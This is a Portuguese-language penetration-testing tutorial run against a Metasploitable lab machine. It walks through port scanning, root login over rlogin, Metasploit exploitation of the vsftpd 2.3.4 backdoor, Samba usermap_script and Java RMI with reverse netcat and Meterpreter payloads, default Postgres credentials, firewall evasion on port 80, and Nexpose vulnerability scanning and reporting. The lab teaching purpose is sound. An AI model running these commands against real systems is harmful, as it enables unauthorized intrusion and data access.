Conseguindo acesso ao alvo - Server Side
Há duas formas de conseguir acesso há uma máquina alheia:
Server side
Não precisa de nenhuma interação da vítima, tudo o que precisamos é o IP dela.
Client Server
Precisa de alguma interação da vítima como abrir algum arquivo
Com certeza a melhor forma é utilizar a primeira opção primeiro, se não conseguir tentar a segunda.
Vamos falar um pouco agora sobre a primeira opção.
Se a vítima não estiver no mesmo IP que voce entao voce tera que ultrapassar o Router dela, entao iremos falar sobre depois que voce estiver na mesma subnet que a vítima. Em nosso laboratório estamos na mesma Subnet
Qualquer computador que você conseguir fazer ping, você pode utilizar esses métodos de server side.
- Coletar Informações
Vamos tentar procurar por vulnerabilidades utilizando o metasploitable, que está na mesma subnet que o Kali
abrir o Zenmap e colocar no target. Isso pode ser com qualquer computador ou Site.
Deve-se verificar cada porta, ler sobre ela e procurar no google.
Vemos que tem uma porta 21/tcp com serviço ftp aberta FTP significa File Transfer Protocol (Protocolo de Transferência de Arquivos), e é uma forma bastante rápida e versátil de transferir arquivos (também conhecidos como ficheiros), sendo uma das mais usadas na internet.
Normalmente esse serviço usa um login e senha, mas no nosso teste está como anônimo
Assim não precisa de senha para entrar pela porta 21
o que devemos fazer agora é pesquisar pela versão e ver se tem alguma vulnerabilidade.
Nesse caso se procurarmos terá um backdoor instalado
Vamos tentar em outra porta
o que está rodando na porta 512 é um server chamado netkit-rsh rexecd. Vamos procurar por ele no Google
A primeira pagina que encontramos é: http://t2sde.org/packages/netkit-rsh.html
com esse conteúdo:
Contents of the netkit-rsh package:
rexec Password-based remote execution program rsh Non-password-based remote execution program rcp Remote copy program using rsh rlogin Remote login program rshd Daemon for rsh connections rexecd Daemon for rexec connections rlogind Daemon for rlogin connections
Note: None of these programs provide encryption or strong authentication of network connections. As such, their use is discouraged. The "ssh" protocol and package is a cryptographically secure replacement.
Podemos ver que ele usa rsh login que te deixa fazer comandos remotos.
Vamos ver agora como podemos acessar essa porta
Pesquisamos no google: netkit-rsh
Vemos que o alvo usa Linux Ubunto e o package rsh-client
rsh-client: client programs for remote shell connections
e iremos instalar esse pacote
fazemos o comando
> apt-get install rsh-client
vimos que o login é rlogin, e como não sabemos como funciona esse programa faremos um help
> rlogin --help
Podemos ver como utilizar e o importante é o user e host
>rlogin -l root 10.20.14.204
root é o usuario com mais privilégios no sistema
10.20.14.204 é o IP do alvo
e podemos ver que estaremos logado no metasploitable
> id
para ver quem somos
> pwd
para ver aonde estamos
> ls
ver os diretórios
> uname -a
O truque é fazer o Zenmap, procurar por default passwords e problemas de configurações se o service vem com backdoor no google.
Veremos mais exemplos pela frente.
Alguns programas vem com backdoors implementados, veremos isso agora.
Framework Metasploit
Um exploit (em português explorar, significando "usar algo para sua própria vantagem") é um pedaço de software, um pedaço de dados ou uma sequência de comandos que tomam vantagem de um defeito, falha ou vulnerabilidade a fim de causar um comportamento acidental ou imprevisto a ocorrer no software ou hardware de um computador ou em algum eletrônico (normalmente computadorizado). Tal comportamento frequentemente inclui coisas como ganhar o controle de um sistema de computador, permitindo elevação de privilégio ou um ataque de negação de serviço.[1]Descobrindo um Backdoor
Primeiro fazemos o Nmap com o Zenmap.
faremos uma pesquisa no google para cada porta
Procuramos no google por vsftpd 2.3.4 exploit
O primeiro resultado vem de um site chamado RAPID7 uma empresa que cria o metsaploit framework
E esse é o conteudo da pagina:
VSFTPD v2.3.4 Backdoor Command Execution
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
Se o computador da vítima está rodando esse programa podemos executar comandos em sua máquina
Faremos um uso simples para conhecer o framework
Vemos o nome do módulo no site
o Nome do módulo é:
exploit/unix/ftp/vsftpd_234_backdoor
Abrimos o Terminal e iniciamos o console do metasploitable e iniciamos o módulo :
> msfconsole
> use exploit/unix/ftp/vsftpd_234_backdoor
> show options
Podemos ver que na segunda opção temos a porta que o servidor está rodando, e era isso que vimos no zenmap, não precisamos mudar.
o que precisamos mudar é a primeira opção que diz host target address devemos fazer o comando
set RHOST [IP do Alvo]
Se precisasse mudar a porta faríamos set RPORT [porta]
> set RHOST 10.20.14.204
> show options
Agora somente o comando para rodar o exploit
> exploit
Não aconteceu nada, deve tentar novamente as vezes isso acontece:
> exploit
Agora funcionou
> id
>uname -a
>ls
Vulnerabilidades de execução de código - Payloads
Voltando ao Zenmap vamos tratar essa vulnerabilidade na porta 139 que está rodando samba 3.x
Procuramos no google samba 3.x exploit
há vários resultados, o que mais nos interessa é o do rapid7
Vemos que é um command execution e o module name é exploit/multi/samba/usermap_script
voltamos ao terminal e fazemos igual:
> use exploit/multi/samba/usermap_script
> show options
> set RHOST [Target IP]
> show options
Antes usamos um backdoor que havia naquele exploit, e a unica coisa que precisavamos fazer era acionar o backdoor e rodar comandos no linux do alvo, dessa vez não há um backdoor, ele tem um programa normal com uma vulnerabilidade no código em que podemos rodar nosso pequeno código. Esses pequenos pedaços de código podem fazer algo útil para o atacante.
Esse pequeno código se chama payloads
precisamos criar um payload e rodar ele no computador do alvo.
para saber os payloads que podem ser usados para esse exploit em particular só precisa rodar o comando:
> show payloads
Todos eles são em unix e isso é bom pois nesse caso nosso alvo usa linux
Tem dois tipos de payload:
bind payloads que abrem uma porta no alvo e nos conecta com essa porta
reverse payloads fazem o oposto, abrem uma porta em minha máquina e conecta o alvo a minha máquina o reverse payload é bom pois ajudam a ultrapassar algum firewall
Também podemos ver a linguagem de programação usada nos payloads como perl, lua, ruby e netcat que é uma ferramenta para acessar o computador
Também podemos ver a linguagem de programação usada nos payloads como perl, lua, ruby e netcat que é uma ferramenta para acessar o computador
iremos usar o cmd/unix/reverse_netcat
> set payload cmd/unix/reverse_netcat
> show options
podemos ver que há mais opções: listen address que significa o meu proprio IP
fazemos em outro terminal o ipconfig para ver o nosso IP
> set LHOST 10.20.14.203
> show options
Também podemos mudar nossa porta para 80 que é dos navegadores e não será filtrado pelos firewalls, por isso abrimos nossa porta 80 e quando o alvo se conectar a minha porta 80 o firewall achará que é um site no navegador.
não faremos isso agora pois há um server rodando na porta 80 e daria um conflito
> exploit
Metasploit Community
Instalando
É uma ferramenta de teste de penetração de recursos limitados que lhe dá o poder do Metasploit Framework com uma interface gráfica de usuário adicionada para facilitar a navegação e a exploração. É projetado para estudantes e pequenas empresas que desejam simular com segurança ataques de rede com exploração básica e descoberta de rede.
Pode ser usado como o Zenmap, mas você já consegue ver as vulnerabilidades existentes.
Para obter recursos avançados de teste de penetração, como testes de segmentação de rede, validação de vulnerabilidades e capacidades de engenharia social, baixe uma versão de teste do Metasploit Pro.
- Mudar as permissões do executável: > chmod+x[installer file name]
- rodar o instalador: > ./[installer file name]Depois de completado, o metasploit community pode ser iniciado como um serviço: > service metasploit start
> cd Downloads
> ls
precisamos mudar as permissões para rodar um executável então fazemos o comando chmod
> chmod +x [installer file name]
> ls
agora o executável estará verde o que significa que pode ser executado
> ./metasploit-latest-linux-x64-installer.run
Segue as orientações para instalar com as portas que ele oferece.
faça seu username e password
Depois de instalado podemos rodar o Metasploit Community com o simples comando
> service metasploit start
Agora vá ao navegador e navegue até: (não esqueça que é https)
Coloque seu login e senha.
Coloque a chave de acesso que recebeu no email de instalação
Usando
Vá em project - New Project
Coloque um nome e no range você colocará o alvo igual no Zenmap ou deixe a subnet com o final 1-254 para toda a rede
E clique em criar projeto
O projeto foi criado e agora só precisamos iniciar o Scan. Eis o resultado
Voltando ao metasploitable vemos as vulnerabilidades:
Vamos para Analysis - Hosts
E podemos ver todos os detalhes dos hosts analisados
Vá ao address: Services
Podemos ver todos os serviços protocolo porta e informações igual no Zenmap, porem com uma interface mais amigavel.
O interessante é quando clicamos em Vulnerabilities.
Clicando em credentials podemos ver qualquer credencial que o programa usa, podemos ver o username e password .
Podemos ver o postgres sql o nome de usuário em public que é postgres e senha que também é postgres. Em acess level vemos que é para administrador
No validates vemos uma chave que há está escrito validated, o que significa que já foi aceito.
Podemos acessar o postgres sql e ver todo o database do alvo. Vamos ver um exemplo de como fazer isso:
Fazemos o comando de acesso ao postgres sql
> psql -h [IP do alvo] -U postgres
h = host
U = username
O sistema pedirá senha e colocamos postgres
Temos acesso e podemos rodar qualquer comando do SQL no computador do alvo
Em Modules podemos ver os módulos de vulnerabilidade que podem ser usados como vimos que tinha o Java RMI em vulnerabilities
Podemos ver o resultado do Scanner e o módulo para exploit
Podemos ir em Launch e rodamos o exploit existente
E podemos pegar o exploit e o acionamos manualmente igual vimos anteriormente
exploit/multi/misc/java_rmi_server.
Ou podemos deixar o metasploit community fazer todo o trabalho por nós
No Target Address colocamos o alvo, depois escolhemos o tipo de conexão, reverse ou bind.
Em payload podemos escolher Command shell ou meterpreter, deixamos em Meterpreter.
Run Module
O módulo foi executado e temos algo muito similar ao que vimos no console.
Lá em cima podemos ver que temos uma session rodando, clicamos lá
E vemos o host que é o metasploitable, o módulo e outros dados. clicamos no session e:
Em Access Filesystem teremos acesso a todo os arquivos
Podemos também acessar o Command shell com o Meterpreter no qual veremos o que podemos fazer com isso no artigo sobre Pós acesso.
Lembrando que nos modulos , alguns darão acesso completo, outros podem dar a possibilidade de um ataque DDos, o truque é ir tentando cada um vendo quais os acessos que eles podem dar.
Nexpose
Rapid7 Nexpose é um scanner de vulnerabilidade que visa apoiar o ciclo de vida de gerenciamento de vulnerabilidade inteiro, incluindo descoberta, detecção, verificação, classificação de risco, análise de impacto, geração de relatórios e mitigação. Ele se integra com o Rapid7 Metasploit para a exploração da vulnerabilidade. É vendido como software autônomo, um aparelho, máquina virtual, ou como um serviço gerenciado ou implementação de nuvem privada. A interação do usuário é através de um navegador web. Há uma edição da comunidade livre, mas limitada, bem como versões comerciais que começam em US $ 2.000 por usuário por ano. Para downloads e mais informações, visite a página inicial Nexpose.
A diferença é que o Nexpose uti;iza um banco de dados de exploit além do rapid7, mostra mais vulnerabilidades e também ajuda a escrever um relatório no final para o pessoal técnico e um relatório mais simples para os diretores.
Instalação
Baixar do site https://www.rapid7.com/info/nexpose-community/
Desligar o postgresql
> service postgresql stop
> cd Downloads
> ls
precisamos mudar as permissões para rodar um executável então fazemos o comando chmod
> chmod +x [installer file name]
> ls
agora o executável estará verde o que significa que pode ser executado
Vai seguindo os comandos de instalação.
Podemos ver que há um problema de incompatibilidade com o Linux utilizado pois ele só é compatível com o Kali 2, por isso devemos mudar alguns arquivos em nosso sistema para enganar o instalador e parecer com o Kali 2.
Devemos abrir o explorador de arquivos do kali e digitar:
/etc/lsb-release
Antes de mudar esse arquivo é bom fazer um backup dele, devemos criar uma pasta backup e copiar o lsb-release original lá
Agora mudamos o arquivo lsb-release original
e trocamos por esse texto:
DISTRIB_ID=Kali
DISTRIB_RELEASE=2.0
DISTRIB_CODENAME=sana
DISTRIB_DESCRIPTION="Kali GNU/Linux 2.0"
Fazer o mesmo procedimento com o arquivo
/usr/lib/os-release
Colar esse texto:
PRETTY_NAME="Kali GNU/Linux 2.0 (sana)"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2.0 (sana)"
VERSION_ID="2.0"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="kali.org/"
SUPPORT_URL="forums.kali.org/"
BUG_REPORT_URL="bugs.kali.org/"
Rodar novamente o instalador.
Se a porta database estiver com problema pode usar a 5435
Instalação concluída e podemos ver os comandos para iniciar o Nexpose.
Devemos lembrar de mudar novamente os arquivos que mudamos para enganar o instalador colocando os originais.Utilizando o Nexpose
Se você encontrar o "Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 7337?" de erro durante a instalação do Metasploit, você já pode ter um banco de dados PostgreSQL existente instalado na máquina. Esse problema normalmente ocorre quando você ter Nexpose instalado no mesmo sistema.Se você já tiver um servidor Postgres instalado, você precisará especificar uma porta de servidor de banco de dados diferente para Metasploit de usar. Você pode fazer isso durante o processo de instalação. Em vez de usar a porta padrão para o servidor de banco de dados, você pode especificar uma porta diferente na tela abaixo:
Ou você pode Sempre antes de rodar o Nexpose desligar o posgresql.
Vamos iniciar desligando o sql
> service postgresql stop
> cd /opt/rapid7//nexpose/
> ls
> cd nsc
> ls
> ./nsc.sh
Foi instalado com sucesso e podemos acessar a ferramenta pelo navegador no https://localhost:3780/
Vá ao site e faça o login e senha e colar a chave que recebeu no email.
No menu à esquerda vá em Home.
Create - Site
Coloque o nome: daremos Metasploitable
Em Assets colocaremos nosso alvo, pode ser um range ou um IP especifico igual ao Zenmap. Colocaremos o de nosso metasploitable.
Em Assets colocamos nosso alvo
Em Authentication você pode acrescentar senhas de seu alvo.
Em Templates é como os tipos de scanners do Zenmap.
Alerts é onde veremos as vulnerabilidades.
Schedules para programar algum Scan diário, semanal ou em alguma data especifica.
Vamos comecar:
Em assets colocamos nosso alvo, em templates escolhemos um Scan, Save & Scan
Analisando resultados e criando relatório
O Scanner está pronto e em assets podemos ver o resultado, que tem um Assets, o sistema é Ubuntu e o skill que você precisa para acessar é Novice.
Abaixo vemos os detalhes do alvo
Tem 0 Malware
177 exploits
308 Vulnerabilities (No metasploit Community vimos somente 8)
Podemos ver os Softwares instalados, o que é muito útil apos entrar no alvo.
Mais para baixo vemos os serviços rodando no qual podemos ver http, dns. Clicamos com o botao direito no http e abrimos em outra aba
Descrição dos http
Podemos ver as portas abertas.
Agora para vermos as vulnerabilidades, no menu do lado esquerdo clicamos em vulnerability
Veremos um gráfico sobre as vulnerabilidades categorizadas por grau de risco e outro por grau de experiência para utilizar a vulnerabilidade.
Mais para baixo vemos cada vulnerabilidade, se tem algum exploit ou malware, e também o risco, vemos que o primeiro com 989 de risco é VNC password is "password"
VNC é um serviço bem parecido com remote desktop que significa Virtual Network Computing, um sistema de compartilhamento gráfico de desktop que usa o Remote Frame Buffer protocol para remotamente controlar outro computador
O que nos dá acesso total ao alvo.
O segundo que vemos é um Shell Backdoor Service que já vimos como utilizar.
Para procurar algo que seja metasploitable devemos clicar no ícone do Metasploit.
Podemos ver o rsh que já usamos, o rlogin também.
Vamos utilizar algo novo para testar, o Default Tomcat User and Password
Quando clicamos nele e descemos um pouco esse é o resultado
Mais abaixo ele mostra como pode ser exploitable com 3 modos diferentes para utilização.
Clicando nele seremos redirecionado ao site do rapid7 como fizemos no google.
Mais abaixo vemos o mais importante, como solucionar o problema.
Relatório
Para fazermos o relatório, no menu esquerdo clicamos em reports
Em create report podemos ver três tipos de relatórios, audit report é com vários dados técnicos para o pessoal do TI, depois temos o Executive Overview que mostra dados mais fáceis para quem não entende da parte técnica.
Pode-se fazer esses relatórios automaticamente no schedules.